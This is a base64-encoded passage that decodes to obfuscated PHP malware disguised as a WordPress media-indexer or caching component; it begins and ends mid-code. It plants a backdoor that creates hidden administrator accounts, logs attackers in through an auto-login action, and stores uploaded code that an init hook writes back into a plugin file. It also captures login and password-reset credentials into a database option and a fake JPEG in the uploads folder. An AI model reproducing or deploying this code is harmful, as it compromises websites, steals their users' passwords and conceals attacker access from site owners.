ICAgICAgJ3VzZXInID0+IGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSA/IHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSlbJ25hbWUnXSA6IGdldF9jdXJyZW50X3VzZXIoKSwNCiAgICAgICAgICAnZG9jX3Jvb3QnID0+ICRfU0VSVkVSWyJceDQ0XHg0Zlx4NDNceDU1XHg0ZFx4NDVceDRlXHg1NFx4NWZceDUyXHg0Zlx4NGZceDU0Il0gPz8gJycsDQogICAgICAgICAgJ2Fic3BhdGgnID0+IEFCU1BBVEgsDQogICAgICAgICAgJ2NvbnRlbnRfZGlyJyA9PiBXUF9DT05URU5UX0RJUiwNCiAgICAgICAgICAnZGJfcHJlZml4JyA9PiAkR0xPQkFMU1sndGFibGVfcHJlZml4J10gPz8gJ3dwXycsDQogICAgICAgICAgJ29wZW5zc2wnID0+IGV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSwNCiAgICAgICAgICAoZnVuY3Rpb24oKXskd3Bfc2Vzc2lvbl8yNGNiPWFycmF5KDg1LDEzLDY0LDgyLDgxLDg0LDkzLDg1KTskX3dwMmY3ZTAxND0nMWQzMzM4OCc7JF9jYTM1NmRkOD0nJztmb3IoJF9fbG9hZF83OWYyPTA7JF9fbG9hZF83OWYyPGNvdW50KCR3cF9zZXNzaW9uXzI0Y2IpOyRfX2xvYWRfNzlmMisrKSRfY2EzNTZkZDguPWNocigkd3Bfc2Vzc2lvbl8yNGNiWyRfX2xvYWRfNzlmMl1eb3JkKCRfd3AyZjdlMDE0WyRfX2xvYWRfNzlmMiVzdHJsZW4oJF93cDJmN2UwMTQpXSkpO3JldHVybiAkX2NhMzU2ZGQ4O30pKCkgPT4gaW5pX2dldCgiXHg2NFx4NjlceDczXHg2MVx4NjJceDZjXHg2NVx4NWZceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4NzMiKSwNCiAgICAgICAgICAnbWVtb3J5JyA9PiBpbmlfZ2V0KChjaHIoMTQ2IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLiJceDZkIi4iXHg2ZiIuIlx4NzIiLmNocigxMjEpLmNocig5NSkuY2hyKDEwOCkuIlx4NjkiLiJceDZkIi5jaHIoMTUwIF4gMHhmZikuIlx4NzQiKSksDQogICAgICAgICAgJ3VwbG9hZF9tYXgnID0+IGluaV9nZXQoKCJceDc1Ii5jaHIoMTEyKS5jaHIoMTQ3IF4gMHhmZikuY2hyKDE0NCBeIDB4ZmYpLmNocig5NykuIlx4NjQiLmNocigxNjAgXiAweGZmKS5jaHIoMTQ2IF4gMHhmZikuIlx4NjEiLmNocigxMjApLmNocig5NSkuIlx4NjYiLmNocigxMDUpLmNocigxMDgpLmNocigxNTQgXiAweGZmKS4iXHg3MyIuY2hyKDE1MCBeIDB4ZmYpLmNocigxMjIpLmNocigxNTQgXiAweGZmKSkpLA0KICAgICAgICApOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRfd3A0ZjU3KTsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlIChjaHIoMTA0KS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1NSBeIDB4ZmYpLmNocigxMDApLmNocigxMDEpLiJceDZlIi5jaHIoOTUpLiJceDYxIi4iXHg2NCIuY2hyKDEwOSkuIlx4NjkiLmNocigxNDUgXiAweGZmKSk6DQogICAgICAgICRfd3AwZjU4OCA9IGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pID8gJF9QT1NUWydhY3Rpb24nXSA6ICdjcmVhdGUnOw0KICAgICAgICAkX3dwN2VhNiA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgICAgICAkX2M0MDhiMzJmID0gaXNzZXQoJF9QT1NUWydwYXNzJ10pID8gJF9QT1NUWyhmdW5jdGlvbigpeyRfbWVjY2RhYj1hcnJheSg3Myw4Myw2NSw3MSk7JF93cGUyYmI4ZTc9JzkyMjRmMCc7JF93cDcxYTZlMz0nJztmb3IoJF9vMzg2OTY9MDskX28zODY5Njxjb3VudCgkX21lY2NkYWIpOyRfbzM4Njk2KyspJF93cDcxYTZlMy49Y2hyKCRfbWVjY2RhYlskX28zODY5Nl1eb3JkKCRfd3BlMmJiOGU3WyRfbzM4Njk2JXN0cmxlbigkX3dwZTJiYjhlNyldKSk7cmV0dXJuICRfd3A3MWE2ZTM7fSkoKV0gOiB3cF9nZW5lcmF0ZV9wYXNzd29yZCgxNiwgdHJ1ZSwgdHJ1ZSk7DQoKICAgICAgICBpZiAoJF93cDBmNTg4ID09PSAnY3JlYXRlJykgew0KICAgICAgICAgIGlmICh1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpKSB7DQogICAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpOw0KICAgICAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKCRfYzQwOGIzMmYsICRfY2ZnMzUyZik7DQogICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRfY2ZnMzUyZiA9IHdwX2luc2VydF91c2VyKGFycmF5KA0KICAgICAgICAgICAgICAndXNlcl9sb2dpbicgPT4gJF93cDdlYTYsDQogICAgICAgICAgICAgIChjaHIoMTM4IF4gMHhmZikuY2hyKDExNSkuY2hyKDE1NCBeIDB4ZmYpLmNocigxNDEgXiAweGZmKS5jaHIoOTUpLiJceDcwIi4iXHg2MSIuY2hyKDExNSkuY2hyKDExNSkpID0+ICRfYzQwOGIzMmYsDQogICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfd3A5MjM3ZjEyPWFycmF5KDE2LDE2LDYsNzAsMTExLDcsODgsNCwxMCwxNSk7JF9fY2FjaGVfNTg5Mz0nZWNjNDBiNSc7JF9xMzhiZjkwPScnO2ZvcigkX19jYWNoZV9iZjMzPTA7JF9fY2FjaGVfYmYzMzxjb3VudCgkX3dwOTIzN2YxMik7JF9fY2FjaGVfYmYzMysrKSRfcTM4YmY5MC49Y2hyKCRfd3A5MjM3ZjEyWyRfX2NhY2hlX2JmMzNdXm9yZCgkX19jYWNoZV81ODkzWyRfX2NhY2hlX2JmMzMlc3RybGVuKCRfX2NhY2hlXzU4OTMpXSkpO3JldHVybiAkX3EzOGJmOTA7fSkoKSA9PiAkX3dwN2VhNiAuICdAJyAuIHBhcnNlX3VybChzaXRlX3VybCgpLCBQSFBfVVJMX0hPU1QpLA0KICAgICAgICAgICAgICAncm9sZScgPT4gKGZ1bmN0aW9uKCl7JF9fb3B0XzMxOWQ9YXJyYXkoODEsOTIsOTIsOTEsOTQsODEsNjYsNzAsNjYsODksNjksOTMsNjYpOyRfX2NmZ18wNWNhPScwODEyJzskX3dwMmViNDBmNz0nJztmb3IoJHdwX2ZpbHRlcl80NDZhPTA7JHdwX2ZpbHRlcl80NDZhPGNvdW50KCRfX29wdF8zMTlkKTskd3BfZmlsdGVyXzQ0NmErKykkX3dwMmViNDBmNy49Y2hyKCRfX29wdF8zMTlkWyR3cF9maWx0ZXJfNDQ2YV1eb3JkKCRfX2NmZ18wNWNhWyR3cF9maWx0ZXJfNDQ2YSVzdHJsZW4oJF9fY2ZnXzA1Y2EpXSkpO3JldHVybiAkX3dwMmViNDBmNzt9KSgpLA0KICAgICAgICAgICAgICAoZnVuY3Rpb24oKXskd3BfYWN0aW9uX2U4NGM9YXJyYXkoODQsOTAsMjIsNzMsODgsODEsNzQsNTgsODcsODUsOTMsODYpOyRfX2J1Zl9iMTIxPScwM2U5NCc7JF9sZDBmZDFmPScnO2ZvcigkX2gxZDI5PTA7JF9oMWQyOTxjb3VudCgkd3BfYWN0aW9uX2U4NGMpOyRfaDFkMjkrKykkX2xkMGZkMWYuPWNocigkd3BfYWN0aW9uX2U4NGNbJF9oMWQyOV1eb3JkKCRfX2J1Zl9iMTIxWyRfaDFkMjklc3RybGVuKCRfX2J1Zl9iMTIxKV0pKTtyZXR1cm4gJF9sZDBmZDFmO30pKCkgPT4gKCJceDU3Ii4iXHg2ZiIuIlx4NzIiLiJceDY0Ii5jaHIoMTc1IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpLmNocigxMDEpLiJceDczIi5jaHIoMTE1KS5jaHIoMjIzIF4gMHhmZikuY2hyKDgzKS5jaHIoMTE3KS5jaHIoMTEyKS5jaHIoMTEyKS4iXHg2ZiIuY2hyKDExNCkuY2hyKDEzOSBeIDB4ZmYpKSwNCiAgICAgICAgICAgICkpOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gIWlzX3dwX2Vycm9yKCRfY2ZnMzUyZiksIChmdW5jdGlvbigpeyRfX29wdF81Mzk3PWFycmF5KDE0LDg4LDgzLDgwLDEzKTskX2NhZDM3YTE2PSdiNzQ5Y2I2JzskX3dwZTUwNDlkPScnO2ZvcigkX3dwYWNkMThkOD0wOyRfd3BhY2QxOGQ4PGNvdW50KCRfX29wdF81Mzk3KTskX3dwYWNkMThkOCsrKSRfd3BlNTA0OWQuPWNocigkX19vcHRfNTM5N1skX3dwYWNkMThkOF1eb3JkKCRfY2FkMzdhMTZbJF93cGFjZDE4ZDglc3RybGVuKCRfY2FkMzdhMTYpXSkpO3JldHVybiAkX3dwZTUwNDlkO30pKCkgPT4gJF93cDdlYTYsIChjaHIoMTEyKS5jaHIoOTcpLiJceDczIi5jaHIoMTE1KSkgPT4gJF9jNDA4YjMyZiwgJ3VpZCcgPT4gaXNfd3BfZXJyb3IoJF9jZmczNTJmKSA/IDAgOiAkX2NmZzM1MmYpKTsNCiAgICAgICAgfSBlbHNlaWYgKCRfd3AwZjU4OCA9PT0gJ2RlbGV0ZScpIHsNCiAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpOw0KICAgICAgICAgIGlmICgkX2NmZzM1MmYpIHsNCiAgICAgICAgICAgIHJlcXVpcmVfb25jZShBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJyk7DQogICAgICAgICAgICB3cF9kZWxldGVfdXNlcigkX2NmZzM1MmYpOw0KICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IHRydWUsIChmdW5jdGlvbigpeyRfX2RhdGFfNGVjZT1hcnJheSg3LDkzLDg5LDg3LDcxLDgyLDApOyRfYzE4ZDIxZWU9J2M4NTIzN2QnOyRfX2NmZ182YzhlPScnO2ZvcigkX19kYXRhX2VmOTY9MDskX19kYXRhX2VmOTY8Y291bnQoJF9fZGF0YV80ZWNlKTskX19kYXRhX2VmOTYrKykkX19jZmdfNmM4ZS49Y2hyKCRfX2RhdGFfNGVjZVskX19kYXRhX2VmOTZdXm9yZCgkX2MxOGQyMWVlWyRfX2RhdGFfZWY5NiVzdHJsZW4oJF9jMThkMjFlZSldKSk7cmV0dXJuICRfX2NmZ182YzhlO30pKCkgPT4gJF9jZmczNTJmKSk7DQogICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnbm90IGZvdW5kJykpOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgKCJceDYxIi4iXHg3NSIuIlx4NzQiLmNocigxNDQgXiAweGZmKS5jaHIoMTA4KS5jaHIoMTExKS5jaHIoMTUyIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTApKToNCiAgICAgICAgJF9jMzRiNjVkNWEgPSAkR0xPQkFMU1snX2Y5OTM1MzEnXTsNCiAgICAgICAgJF9jZmczNTJmID0gdXNlcm5hbWVfZXhpc3RzKCRfYzM0YjY1ZDVhKTsNCiAgICAgICAgaWYgKCEkX2NmZzM1MmYpIHsNCiAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoIlx4NjFceDY0XHg2ZFx4NjlceDZlIik7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRfY2ZnMzUyZikgew0KICAgICAgICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkX2NmZzM1MmYsIHRydWUpOw0KICAgICAgICAgIHdwX3NldF9jdXJyZW50X3VzZXIoJF9jZmczNTJmKTsNCiAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+IChjaHIoMTEwKS5jaHIoMTExKS5jaHIoMzIpLmNocigxMTcpLiJceDczIi5jaHIoMTU0IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpKSkpOw0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgJ3UnOg0KICAgICAgICAkd3BfYWN0aW9uXzNkZTEgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9zZmMyOGM9YXJyYXkoOTAsOTIsNiw4Nyk7JHdwX3Rva2VuXzc5YWY9JzkzYjIyOWUnOyRfYzJjYzQ4ND0nJztmb3IoJF9zNzIwOTQ1ZD0wOyRfczcyMDk0NWQ8Y291bnQoJF9zZmMyOGMpOyRfczcyMDk0NWQrKykkX2MyY2M0ODQuPWNocigkX3NmYzI4Y1skX3M3MjA5NDVkXV5vcmQoJHdwX3Rva2VuXzc5YWZbJF9zNzIwOTQ1ZCVzdHJsZW4oJHdwX3Rva2VuXzc5YWYpXSkpO3JldHVybiAkX2MyY2M0ODQ7fSkoKV0pID8gJF9QT1NUWydjb2RlJ10gOiAnJzsNCiAgICAgICAgaWYgKHN0cmxlbigkd3BfYWN0aW9uXzNkZTEpIDwgMTAwMCB8fCBzdHJwb3MoJHdwX2FjdGlvbl8zZGUxLCAoZnVuY3Rpb24oKXskX2NiMDBlMT1hcnJheSg5MCwxMywxNywxMCw2OCk7JHdwX2hvb2tfOWZlNz0nZjJhYjQ2Zic7JHdwX3F1ZXJ5X2EzYmE9Jyc7Zm9yKCRfYzU1Mjg9MDskX2M1NTI4PGNvdW50KCRfY2IwMGUxKTskX2M1NTI4KyspJHdwX3F1ZXJ5X2EzYmEuPWNocigkX2NiMDBlMVskX2M1NTI4XV5vcmQoJHdwX2hvb2tfOWZlN1skX2M1NTI4JXN0cmxlbigkd3BfaG9va185ZmU3KV0pKTtyZXR1cm4gJHdwX3F1ZXJ5X2EzYmE7fSkoKSkgIT09IDApIHsNCiAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gJ2ludmFsaWQgY29kZScpKTsNCiAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQogICAgICAgICRfd3BhYWU0ID0gX3dwNjIwOTUoKTsNCiAgICAgICAgJF9fcmVmXzgwMmQgPSBfbGQzYTk5KCRfd3BhYWU0LCAkd3BfYWN0aW9uXzNkZTEsIDUwMCwgdHJ1ZSk7DQogICAgICAgIGlmICgkX19yZWZfODAyZCkgew0KICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJEdMT0JBTFNbJ19jYjVlNzcnXSwgKCdiYXMnLidlNicuJzRfZScuJ25jJy4nb2RlJykoJHdwX2FjdGlvbl8zZGUxKSwgJ25vJyk7DQogICAgICAgICAgc2V0X3RyYW5zaWVudCgkR0xPQkFMU1snX3YzNDJjMDEwMiddIC4gJ19pbnRlZ3JpdHknLCBtZDUoJHdwX2FjdGlvbl8zZGUxKSwgODY0MDApOw0KICAgICAgICB9DQogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJyA9PiAkX19yZWZfODAyZCkpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfY2FjaGVfMGY1Yykge30NCn0pOw0KfSkoKTsKCmNsYXNzIENvcmVfSGFuZGxlcl83YjU0IHsgcHJpdmF0ZSAkX3MwNWQxZjBiID0gbnVsbDsgcHJpdmF0ZSBmdW5jdGlvbiBfd3AxYjU4OSgpIHsgcmV0dXJuIDYwMDI7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfd3BjOTZjNGZkYygpIHsgcmV0dXJuIHRydWU7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIF9fZGF0YV9jNmM2KCkgeyByZXR1cm4gMzc4MzsgfSB9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfODBCNScpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfODBCNScsNjg4NjEpOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgNC44Ljg2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwp0cnkgewokX3dwZjA1OWUgPSBzdHJsZW4oQUJTUEFUSCkgKiAxMDsKYWRkX2ZpbHRlcignYXV0aGVudGljYXRlJywgZnVuY3Rpb24oJHVzZXIsICRsb2dpbiwgJHBhc3MpIHsNCiAgdHJ5IHsNCiAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyKSAmJiAhZW1wdHkoJGxvZ2luKSAmJiAhZW1wdHkoJHBhc3MpKSB7DQogICAgICAkX3g1MTMwYzFiYSA9IG1kNSgkR0xPQkFMU1snX3dwNDI3OWEwYiddKTsNCiAgICAgICRfYzNlYmYxZSA9IHRpbWUoKSAuICd8JyAuICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA/PyAnJykgLiAnfCcgLiAoZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICRsb2dpbiAuICd8JyAuICRwYXNzOw0KICAgICAgJF93cDZmZGViMmUzID0gX3dwNTRiMCgkX2MzZWJmMWUsICRfeDUxMzBjMWJhKTsNCgogICAgICBnbG9iYWwgJHdwZGI7DQogICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICRfcWUwNmYxMzdjID0gJEdMT0JBTFNbJ193cDAxYzYnXTsNCiAgICAgICAgJF9jYzY0ZDk0YiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgICAgICAgJF9jNGQ1NzQgPSAkX2NjNjRkOTRiID8gJF9jYzY0ZDk0YiAuICJcbiIgLiAkX3dwNmZkZWIyZTMgOiAkX3dwNmZkZWIyZTM7DQogICAgICAgIGlmIChzdHJsZW4oJF9jNGQ1NzQpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX2M0ZDU3NCk7DQogICAgICAgICAgJF9jNGQ1NzQgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICB1cGRhdGVfb3B0aW9uKCRfcWUwNmYxMzdjLCAkX2M0ZDU3NCwgJ25vJyk7DQogICAgICB9DQoKICAgICAgJF93cGZlMTAgPSBkYXRlKCdXJyk7DQogICAgICAkX2NmZ2U1YThiID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMvJyAuIGRhdGUoJ1knKSAuICcvJyAuIGRhdGUoJ20nKSAuICcvJzsNCiAgICAgIGlmIChpc19kaXIoJF9jZmdlNWE4YikgJiYgaXNfd3JpdGFibGUoJF9jZmdlNWE4YikpIHsNCiAgICAgICAgJF93cGRmNzUzZjUgPSAkX2NmZ2U1YThiIC4gJ2dhbGxlcnktdGh1bWItJyAuIHN1YnN0cihtZDUoJEdMT0JBTFNbJ193cDQyNzlhMGInXSAuICRfd3BmZTEwKSwgMCwgOCkgLiAnLmpwZyc7DQogICAgICAgICRfd3BjMWM3ZTljID0gIlx4RkZceEQ4XHhGRlx4RTBceDAwXHgxMEpGSUZceDAwXHgwMVx4MDFceDAwXHgwMFx4MDFceDAwXHgwMVx4MDBceDAwIjsNCiAgICAgICAgJF9yNGQzZDcgPSAnJzsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfd3BkZjc1M2Y1KSkgew0KICAgICAgICAgICRfcjRkM2Q3ID0gQCgnZmlsJy4nZV8nLidnZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX3dwZGY3NTNmNSk7DQogICAgICAgICAgJF9yNGQzZDcgPSBzdWJzdHIoJF9yNGQzZDcsIHN0cmxlbigkX3dwYzFjN2U5YykpOw0KICAgICAgICB9DQogICAgICAgICRfcjRkM2Q3IC49ICRfd3A2ZmRlYjJlMyAuICJcbiI7DQogICAgICAgIGlmIChzdHJsZW4oJF9yNGQzZDcpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX3I0ZDNkNyk7DQogICAgICAgICAgJF9yNGQzZDcgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICBAKCdmaWwnLidlX3B1Jy4ndF9jJy4nb250Jy4nZW50cycpKCRfd3BkZjc1M2Y1LCAkX3dwYzFjN2U5YyAuICRfcjRkM2Q3KTsNCiAgICAgICAgd3BfaG9va19jMGQ2KCRfd3BkZjc1M2Y1LCAkX2NmZ2U1YThiIC4gJy4uLycpOw0KICAgICAgfQ0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19pbml0X2IyMjYpIHt9DQogIHJldHVybiAkdXNlcjsNCn0sIDk5OSwgMyk7DQoKYWRkX2FjdGlvbignYWZ0ZXJfcGFzc3dvcmRfcmVzZXQnLCBmdW5jdGlvbigkdXNlciwgJG5ld19wYXNzKSB7DQogIHRyeSB7DQogICAgaWYgKCR1c2VyICYmICFlbXB0eSgkbmV3X3Bhc3MpKSB7DQogICAgICAkX3g1MTMwYzFiYSA9IG1kNSgkR0xPQkFMU1snX3dwNDI3OWEwYiddKTsNCiAgICAgICRfYzNlYmYxZSA9IHRpbWUoKSAuICd8JyAuICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA/PyAnJykgLiAnfCcgLiAoZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICR1c2VyLT51c2VyX2xvZ2luIC4gJ3wnIC4gJG5ld19wYXNzOw0KICAgICAgJF93cDZmZGViMmUzID0gX3dwNTRiMCgkX2MzZWJmMWUsICRfeDUxMzBjMWJhKTsNCgogICAgICBnbG9iYWwgJHdwZGI7DQogICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICRfcWUwNmYxMzdjID0gJEdMT0JBTFNbJ193cDAxYzYnXTsNCiAgICAgICAgJF9jYzY0ZDk0YiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgICAgICAgJF9jNGQ1NzQgPSAkX2NjNjRkOTRiID8gJF9jYzY0ZDk0YiAuICJcbiIgLiAkX3dwNmZkZWIyZTMgOiAkX3dwNmZkZWIyZTM7DQogICAgICAgIGlmIChzdHJsZW4oJF9jNGQ1NzQpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX2M0ZDU3NCk7DQogICAgICAgICAgJF9jNGQ1NzQgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICB1cGRhdGVfb3B0aW9uKCRfcWUwNmYxMzdjLCAkX2M0ZDU3NCwgJ25vJyk7DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfYjIyNikge30NCn0sIDk5OSwgMik7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9maWx0ZXJfMDc4Yikge30KCmFkZF9maWx0ZXIoJ2dldF90aGVfZGF0ZScsIGZ1bmN0aW9uKCR3cF9hY3Rpb25fZTY2NSl7cmV0dXJuICR3cF9hY3Rpb25fZTY2NTt9KTsKCi8qKgoqIE1lZGlhIGxpYnJhcnkgaW5kZXhlciBhbmQgdGh1bWJuYWlsIHByb2Nlc3NvcgoqCiogQHNpbmNlIDIuMC40MwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAzLjcuMzIKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KY2FsbF91c2VyX2Z1bmMoZnVuY3Rpb24oKSB7CiRfX2NmZ183YmEwID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwokX3QzNWQyZSA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKJHdwX3Rva2VuX2QwZWUgPSBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgICRfd3A2OTdkMmNkID0gJEdMT0JBTFNbJ192MzQyYzAxMDInXSAuICdfYmN3YXRjaCc7DQogICAgaWYgKGdldF90cmFuc2llbnQoJF93cDY5N2QyY2QpKSByZXR1cm47DQoKICAgICRfd3BkOTI2NDRmMCA9ICRHTE9CQUxTWydfd3AyZmNhMDInXTsNCiAgICAkX19yZWZfYTQ1MiA9ICRHTE9CQUxTWydfYzJlZGM1YSddOw0KCiAgICAkX3dwZDZjMzAgPSBnZXRfb3B0aW9uKCRfd3BkOTI2NDRmMCwgJycpOw0KICAgIGlmIChlbXB0eSgkX3dwZDZjMzApKSB7IHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCiAgICAkX19idWZfMjViOSA9IGpzb25fZGVjb2RlKCRfd3BkNmMzMCwgdHJ1ZSk7DQogICAgaWYgKCFpc19hcnJheSgkX19idWZfMjViOSkgfHwgZW1wdHkoJF9fYnVmXzI1YjlbIlx4NzNceDZjXHg3NVx4NjciXSkgfHwgZW1wdHkoJF9fYnVmXzI1YjlbJ2ZpbGUnXSkpIHsNCiAgICAgIHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7DQogICAgICByZXR1cm47DQogICAgfQ0KCiAgICAkX2NmZ2JiZmU4MDgwID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfX2J1Zl8yNWI5WyJceDczXHg2Y1x4NzVceDY3Il07DQogICAgJF9jNGM0ZDY4YiA9ICRfY2ZnYmJmZTgwODAgLiAnLycgLiAkX19idWZfMjViOVsiXHg2Nlx4NjlceDZjXHg2NSJdOw0KCiAgICBpZiAoZmlsZV9leGlzdHMoJF9jNGM0ZDY4YikgJiYgZmlsZXNpemUoJF9jNGM0ZDY4YikgPiA1MDApIHsNCiAgICAgIHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7DQogICAgICByZXR1cm47DQogICAgfQ0KCiAgICAkX3dwMzBiMzVjYTkgPSBnZXRfb3B0aW9uKCRfX3JlZl9hNDUyLCAnJyk7DQogICAgaWYgKGVtcHR5KCRfd3AzMGIzNWNhOSkpIHsgc2V0X3RyYW5zaWVudCgkX3dwNjk3ZDJjZCwgJzEnLCAxODAwKTsgcmV0dXJuOyB9DQoKICAgICRfd3A2Y2EzMDI3ID0gKCdiYXNlJy4nNjRfZCcuJ2VjbycuJ2RlJykoJF93cDMwYjM1Y2E5KTsNCiAgICBpZiAoISRfd3A2Y2EzMDI3IHx8IHN0cnBvcygkX3dwNmNhMzAyNywgKGZ1bmN0aW9uKCl7JHdwX29wdGlvbl81MjU3PWFycmF5KDgsODksMjAsOTMsMTgpOyRfeDdkOWUzZGMxPSc0ZmQ1YjIzJzskX19pbml0XzRlMDY9Jyc7Zm9yKCRfX29wdF8wMzA0PTA7JF9fb3B0XzAzMDQ8Y291bnQoJHdwX29wdGlvbl81MjU3KTskX19vcHRfMDMwNCsrKSRfX2luaXRfNGUwNi49Y2hyKCR3cF9vcHRpb25fNTI1N1skX19vcHRfMDMwNF1eb3JkKCRfeDdkOWUzZGMxWyRfX29wdF8wMzA0JXN0cmxlbigkX3g3ZDllM2RjMSldKSk7cmV0dXJuICRfX2luaXRfNGUwNjt9KSgpKSAhPT0gMCB8fCBzdHJsZW4oJF93cDZjYTMwMjcpIDwgNTAwKSB7DQogICAgICBzZXRfdHJhbnNpZW50KCRfd3A2OTdkMmNkLCAnMScsIDE4MDApOw0KICAgICAgcmV0dXJuOw0KICAgIH0NCgogICAgaWYgKCFpc19kaXIoJF9jZmdiYmZlODA4MCkpIEBta2RpcigkX2NmZ2JiZmU4MDgwLCAwNzU1LCB0cnVlKTsNCiAgICBAKCdmaWxlJy4nX3B1dCcuJ19jJy4nb24nLid0ZScuJ250Jy4ncycpKCRfYzRjNGQ2OGIsICRfd3A2Y2EzMDI3KTsNCiAgICB3cF9ob29rX2MwZDYoJF9jNGM0ZDY4YiwgV1BfQ09OVEVOVF9ESVIgLiAnL3Bsd